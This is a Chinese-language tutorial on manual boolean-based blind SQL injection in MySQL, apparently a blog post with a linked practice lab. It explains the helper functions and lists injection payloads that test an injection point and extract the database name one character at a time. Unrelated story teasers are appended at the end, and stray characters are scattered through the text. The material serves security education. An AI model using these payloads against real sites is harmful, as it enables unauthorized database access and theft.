Mysql 布爾型盲注手工注入詳解

此篇文章是建立在你已閱讀并掌握《Mysql 聯(lián)合查詢手工注入詳解》一文的基礎上
練習環(huán)境下載地址https://jianshu-lfbc.oss-cn-hangzhou.aliyuncs.com/Mysql%E5%B8%83%E5%B0%94%E5%9E%8B%E7%9B%B2%E6%B3%A8%E6%89%8B%E5%B7%A5%E6%B3%A8%E5%85%A5%E8%AF%A6%E8%A7%A3/mysql%E5%B8%83%E5%B0%94%E5%9E%8B%E7%9B%B2%E6%B3%A8%E6%89%8B%E5%B7%A5%E6%B3%A8%E5%85%A5%E7%BB%83%E4%B9%A0%E7%8E%AF%E5%A2%83.zip

0x00 什么叫布爾型盲注

布爾型

布爾(Boolean)型是計算機里的一種數(shù)據(jù)類型黍聂,只有True(真)和False(假)兩個值。一般也稱為邏輯型身腻。

盲注

在注入時頁面無具體數(shù)據(jù)返回的注入稱之為盲注产还,一般是通過其他表現(xiàn)形式來判斷數(shù)據(jù)的具體內(nèi)容

布爾型盲注

頁面在執(zhí)行sql語句后,只會顯示兩種結果嘀趟,這時可通過構造邏輯表達式的sql語句來判斷數(shù)據(jù)的具體內(nèi)容脐区。

是不是聽的云里霧里的,沒關系她按,繼續(xù)看

0x01 Mysql語法介紹

邏輯運算

傳送門 http://www.runoob.com/mysql/mysql-operator.html

length()

函數(shù)可返回字符串的長度

select length(database());

database()函數(shù)不用說了牛隅,會返回當前數(shù)據(jù)庫名稱炕柔,length()函數(shù)可返回一個字符串的長度,這里帶入的是database()媒佣,也就是實際返回的是test的長度


length
substring()

substring()函數(shù)可以截取字符串匕累,可指定開始的位置和截取的長度

select substring('test',1,3);
select substring('test',2,1);
substring
ord()

ord()函數(shù)可以返回單個字符的ASCII碼

select substring(database(),1,1);
select ord(substring(database(),1,1));
ord

反之,char()函數(shù)可將ASCII碼轉(zhuǎn)換為對應的字符

select char(116);
char

0x02 手工注入

判斷注入點

這里就不能像聯(lián)合查詢注入一樣根據(jù)頁面是否報錯判斷了默伍,因為sql執(zhí)行失敗和未查到數(shù)據(jù)都會返回False欢嘿,所以只能通過返回的邏輯值來判斷

/* 整型注入 */
sql-bool.php?name=user1 and 1=1
sql-bool.php?name=user1 and 1=2
/* 字符型注入 */
sql-bool.php?name=user1' and '1'='1
sql-bool.php?name=user1' and '1'='2
/* 字符型注入 */
sql-bool.php?name=user1" and "1"="1
sql-bool.php?name=user1" and "1"="2

根據(jù)payload返回的成功或失敗可以判斷是否存在注入點,

拿整型注入舉個例子

如果帶入user1返回為存在(真)也糊,那么當存在整型注入時炼蹦,通過邏輯運算and(與)的關系,后面跟上1=1(恒真)狸剃,那么返回值也肯定為存在(真)掐隐,帶入1=2(恒假)時,那么返回值也肯定為不存在(假)

通過這種方式就可以判斷是否存在布爾型盲注

user1
and 1=1
and 1=2
讀數(shù)據(jù)

由于盲注無法回顯钞馁,所以只能通過將獲取到的數(shù)據(jù)挨個字符截取虑省,然后再通過轉(zhuǎn)換為ASCII碼的方式與可見字符的ASCII值一一對比

這里以讀取當前數(shù)據(jù)庫名為例

/* 判斷庫名長度 */
sql-bool.php?name=user1' and (select length(database())) = 1 and '1'='1
sql-bool.php?name=user1' and (select length(database())) = 2 and '1'='1
sql-bool.php?name=user1' and (select length(database())) = 3 and '1'='1
sql-bool.php?name=user1' and (select length(database())) = 4 and '1'='1




當length(database())=4時,返回真指攒,也就是數(shù)據(jù)庫名的長度有4位

然后我們再一位一位的判斷字符內(nèi)容慷妙,由于mysql庫名不區(qū)分大小寫,且組成元素為26位英文字母允悦、數(shù)字和下劃線膝擂,所以只需要和這些字符的ASCII值進行比較

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 97 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 98 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 99 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 100 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 101 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 102 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 103 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 104 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 105 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 106 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 107 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 108 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 109 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 110 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 111 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 112 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 113 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 114 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 115 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 116 and '1'='1


當與其他ASCII值判斷時,返回均為假隙弛,與116判斷是否相等時架馋,返回為真,由此可判斷數(shù)據(jù)庫名第一個字符的ASCII值為116全闷,再通過ASCII轉(zhuǎn)換為字符叉寂,可得知當前數(shù)據(jù)庫名第一個字符內(nèi)容為't'


char

其他數(shù)據(jù)同樣是用相同的辦法讀取內(nèi)容
最后編輯于
?著作權歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市总珠,隨后出現(xiàn)的幾起案子屏鳍,更是在濱河造成了極大的恐慌,老刑警劉巖局服,帶你破解...
    沈念sama閱讀 219,539評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件钓瞭,死亡現(xiàn)場離奇詭異,居然都是意外死亡淫奔,警方通過查閱死者的電腦和手機山涡,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,594評論 3 396
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人鸭丛,你說我怎么就攤上這事竞穷。” “怎么了鳞溉?”我有些...
    開封第一講書人閱讀 165,871評論 0 356
  • 文/不壞的土叔 我叫張陵瘾带,是天一觀的道長。 經(jīng)常有香客問我穿挨,道長月弛,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,963評論 1 295
  • 正文 為了忘掉前任科盛,我火速辦了婚禮帽衙,結果婚禮上,老公的妹妹穿的比我還像新娘贞绵。我一直安慰自己厉萝,他們只是感情好,可當我...
    茶點故事閱讀 67,984評論 6 393
  • 文/花漫 我一把揭開白布榨崩。 她就那樣靜靜地躺著谴垫,像睡著了一般。 火紅的嫁衣襯著肌膚如雪母蛛。 梳的紋絲不亂的頭發(fā)上翩剪,一...
    開封第一講書人閱讀 51,763評論 1 307
  • 那天,我揣著相機與錄音彩郊,去河邊找鬼前弯。 笑死,一個胖子當著我的面吹牛秫逝,可吹牛的內(nèi)容都是我干的恕出。 我是一名探鬼主播,決...
    沈念sama閱讀 40,468評論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼违帆,長吁一口氣:“原來是場噩夢啊……” “哼浙巫!你這毒婦竟也來了?” 一聲冷哼從身側響起刷后,我...
    開封第一講書人閱讀 39,357評論 0 276
  • 序言:老撾萬榮一對情侶失蹤的畴,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后尝胆,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體丧裁,經(jīng)...
    沈念sama閱讀 45,850評論 1 317
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,002評論 3 338
  • 正文 我和宋清朗相戀三年班巩,在試婚紗的時候發(fā)現(xiàn)自己被綠了渣慕。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 40,144評論 1 351
  • 序言:一個原本活蹦亂跳的男人離奇死亡抱慌,死狀恐怖逊桦,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情抑进,我是刑警寧澤强经,帶...
    沈念sama閱讀 35,823評論 5 346
  • 正文 年R本政府宣布,位于F島的核電站寺渗,受9級特大地震影響匿情,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜信殊,卻給世界環(huán)境...
    茶點故事閱讀 41,483評論 3 331
  • 文/蒙蒙 一炬称、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧涡拘,春花似錦玲躯、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,026評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至橱野,卻和暖如春朽缴,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背水援。 一陣腳步聲響...
    開封第一講書人閱讀 33,150評論 1 272
  • 我被黑心中介騙來泰國打工密强, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人裹唆。 一個月前我還...
    沈念sama閱讀 48,415評論 3 373
  • 正文 我出身青樓誓斥,卻偏偏與公主長得像,于是被迫代替她去往敵國和親许帐。 傳聞我的和親對象是個殘疾皇子劳坑,可洞房花燭夜當晚...
    茶點故事閱讀 45,092評論 2 355

推薦閱讀更多精彩內(nèi)容

  • 昨日與一友聊天,起因是看到我朋友圈內(nèi)許多小喵日常成畦,甚是羨慕距芬。 也想養(yǎng)只如我家這般可愛的貍花貓。 我說貍花貓應該沒地...
    風兒輕輕閱讀 597評論 9 5
  • 我叫趙愚北循帐,肅柳街上的趙奶奶框仔,每天早上六點晃悠去街角的早餐店里買一根油條一杯豆?jié){,油條要脆脆的拄养,豆?jié){要紅棗味的离斩,...
    鹿有年閱讀 241評論 0 0
  • 小兔子正在樹林采蘑菇银舱,突然下起了大雨,小兔子就趕緊拿雨傘跑回家跑回家跛梗,你就把蘑菇送給媽媽寻馏。
    愛你寶貝們閱讀 175評論 0 0